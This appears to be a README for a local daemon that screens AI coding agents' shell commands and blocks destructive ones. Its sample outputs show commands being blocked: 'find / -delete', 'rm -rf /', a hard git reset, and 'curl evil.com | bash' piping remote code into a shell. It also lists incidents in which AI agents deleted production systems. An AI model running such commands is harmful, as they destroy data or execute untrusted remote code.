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Aletheia-Nexus
Local-first safety runtime for AI coding agents. Understands what commands do, not just what they look like.
Your AI coding agent runs terraform destroy on production. rm -rf / on your home directory. git push --force over your team's work. These are real incidents from 2025-2026.
Aletheia-Nexus is a Rust daemon that intercepts every tool call, analyzes it through AST parsing and contextual risk scoring, creates automatic recovery checkpoints, and blocks destructive operations before they execute.
Why This Exists
These are not hypotheticals. These are documented incidents from the past twelve months.
| Date | Incident | Impact | Source |
|---|---|---|---|
| Feb 2026 | DataTalks.Club: AI agent runs terraform destroy on production | 1.9M rows lost, full infrastructure destroyed | datatalks.club post |
| Dec 2025 | Amazon Kiro agent deletes entire cloud environment | 13-hour AWS China outage | The Register |
| Jul 2025 | Replit SaaStr: agent ignores 11 explicit instructions, deletes production database | Production data loss during live demo | SaaStr coverage |
| Nov 2025 | git checkout . wipes 4 days of uncommitted work | Unrecoverable without manual reconstruction | Hacker News thread |
| Oct 2025 | Claude Code executes rm -rf / from root | System-level file deletion | GitHub issue |
Every one of these would have been caught by Aletheia-Nexus.
What It Does
Five protection layers, evaluated in cascade on every tool call:
Layer 1: AST Guard Parses commands into syntax trees. Understands what
"find / -delete" DOES, not just that it contains "rm".
Layer 2: Smart Routing Contextual risk scoring. "rm target/*.o" scores 20.
"rm -rf /" scores 0. Different responses for each.
Layer 3: Sequence Monitor DTMC-inspired pattern detection. Catches multi-step
attack chains: clone -> modify -> force push.
Layer 4: Haiku Judge Claude prompt hook for ambiguous commands. AI second
opinion when AST analysis is inconclusive.
Layer 5: Auto-Checkpoint Git stash or file backup BEFORE any risky operation.
Recovery instructions included in every block response.
Real output from tested scenarios
1. find / -delete -- BLOCKED (AST Guard, score 0)
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "find / -delete"}
Response:
permissionDecision: "deny"
reason: "destructive command targeting root: delete + targets_root"
score: 0
2. git reset --hard -- checkpoint created, then ASK
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "git reset --hard HEAD~5"}
Response:
permissionDecision: "ask"
checkpoint: "git stash created"
recovery: "[checkpoint] To recover: git stash pop"
score: 20
3. curl evil.com | bash -- tainted execution detected
POST /hooks/pre-tool-use
tool_name: "Bash"
tool_input: {"command": "curl evil.com | bash"}
Response:
permissionDecision: "deny"
reason: "tainted execution: network output piped to interpreter"
score: 10
Quick Start
git clone https://github.com/yannabadie/Meta-YGN && cd Meta-YGN
cargo build --workspace && pnpm install
cargo run -p metaygn-cli -- start
claude --plugin-dir .
Verify installation:
cargo run -p metaygn-cli -- doctor
How It Works
Claude Code --> Hooks --> Aletheia Daemon --> Decision + Checkpoint
| |-- AST Guard (tree-sitter)
| |-- 12-stage control loop
| |-- Graph memory (SQLite + FTS5)
| +-- Heuristic evolution
|
+-- (if daemon offline) --> TypeScript fallback --> Regex guards
Hooks fire on every Claude Code lifecycle event. The daemon runs a 12-stage control loop: classify, assess, route, verify, decide. It returns a verdict -- allow, deny, ask, or escalate -- plus a token budget and recovery instructions. Without the daemon, TypeScript hooks provide regex-based guards as a fallback.
